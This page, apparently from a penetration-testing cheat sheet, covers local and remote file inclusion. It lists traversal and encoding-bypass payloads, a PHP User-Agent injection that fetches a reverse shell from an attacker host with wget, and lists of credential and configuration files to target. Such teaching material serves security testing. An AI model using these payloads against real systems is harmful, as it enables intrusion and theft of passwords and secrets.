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Hacker's Grimoire
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Hacker's Grimoire
Reconnaissance
Exploitation
Web application attacks
Local and remote file inclusion
File upload bypass
Cross-site scripting
Cross-site request forgery
Server-side request forgery
SQL injection
Remote code execution
Working with exploits
Password cracking
Metasploit
Buffer overflow
Post exploitation
Linux basics
Windows basics
Learning resources
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Local and remote file inclusion
Local file inclusion (LFI) vulnerabilities allow an attacker to read local files on the web server using malicious web requests, such as:
  • Web configuration files
  • Log files
  • Password files
  • Other sensitive system data
LFI can also be used for remote code execution (RCE). In most cases, this is due to poor or missing input sanitization.
Remote file inclusions are similar, but the attacker is taking advantage of the web server's ability to call local files, and using it to upload files from remote servers. These remote files can be malicious code that executes in the context of the web server user (e.g. www-data).

Techniques

Basic

Assuming you are on a Linux system, test if you can display /etc/passwd by moving back 5 directory levels:
http://host/?page=../../../../../etc/passwd
Even if this doesn't work, it doesn't mean that the website is immune to path traversal. When filtering input, developers will often prevent the use of forward slashes, but not backslashes or encoded characters.

wget

Sometimes browsers mess around with basic directory traversal sequences, but wget may work:
wget http://[host]/wp-content/uploads/page.php?url=../../../../../../../var/www/html/wp-config.php

Nesting traversal sequences

If the application is attempting to sanitize user input by removing traversal sequences, but does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another:
....//
​
....\/
​
..../\
​
....\\

URL-encoded

Encoding all the slashes and dots in your path traversal could bypass input filters:
dot %2e
forward slash %2f
backslash %5c
Example:
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswd

Double URL-encoded

Another encoding method:
dot %252e
forward slash %252f
backslash %255c
Example:
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Overlong UTF-8 encoding

You can also use the illegal Unicode payload type in Burp Intruder for this technique:
dot %c0%2e %e0%40%ae %c0ae etc.
forward slash %c0%af %e0%80%af %c0%2f etc.
backslash %c0%5c %c0%80%5c etc.

Null-byte injection

Some applications check whether the user-supplied file name ends in a particular file type or set of file types, and reject attempts to access anything else. A null byte terminator (%00 or 0x00 in hex) added to the LFI/RFI parameter will stop processing immediately, so that any bytes following it are ignored.
In the following code example, the extension .php added to the file request variable $file:
$file = $_GET['page'];
require_once("/var/www/$file.php");
Requesting /etc/passwd in this case will not work because the request becomes passwd.php resulting in a 404 error. However, if we add a null byte to the passwd file name it will terminate at the end of passwd and discard the remaining bytes:
http://website/page=../../../etc/passwd%00

proc/self/environ method

If you're able to request /proc/self/environ using LFI, you might be able to get a shell by downloading a remote file with reverse shellcode and run it on the system (e.g. php reverse shell). You'll need to intercept the /proc/self/environ request and replace HTTP request header User Agent with the following:
<?system('wget http://[attack machine]/reverseshell.txt -O shell.php');?>
Then execute the shell by calling the URL where it was uploaded:
http://[host]/folder/shell.php

Interesting files

If an LFI vulnerability exists, look for these files:

Linux

Linux system and user files:
/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/home/user/
/home/user/.ssh
/home/user/bash_history

Log files

Potentially interesting logfiles:
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/httpd/error_log

CMS configuration files

If there is a web server, always check /var/www/html for interesting files, including robots.txt in the root web folder.
Content management system configuration files:
WordPress: /var/www/html/wp-config.php
Joomla: /var/www/configuration.php
Dolphin CMS: /var/www/html/inc/header.inc.php
Drupal: /var/www/html/sites/default/settings.php
Mambo: /var/www/configuration.php
PHPNuke: /var/www/config.php
PHPbb: /var/www/config.php

Windows

Files that may exist on Windows systems:
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
The system and SAM files might be in different locations. As well, the path might be case-sensitive, even though it's Windows.
# SYSTEMROOT is usually windows
windows\repair\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Further reading

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On this page
Techniques
Basic
Nesting traversal sequences
URL-encoded
Double URL-encoded
Overlong UTF-8 encoding
Null-byte injection
proc/self/environ method
Interesting files
Linux
Windows
Further reading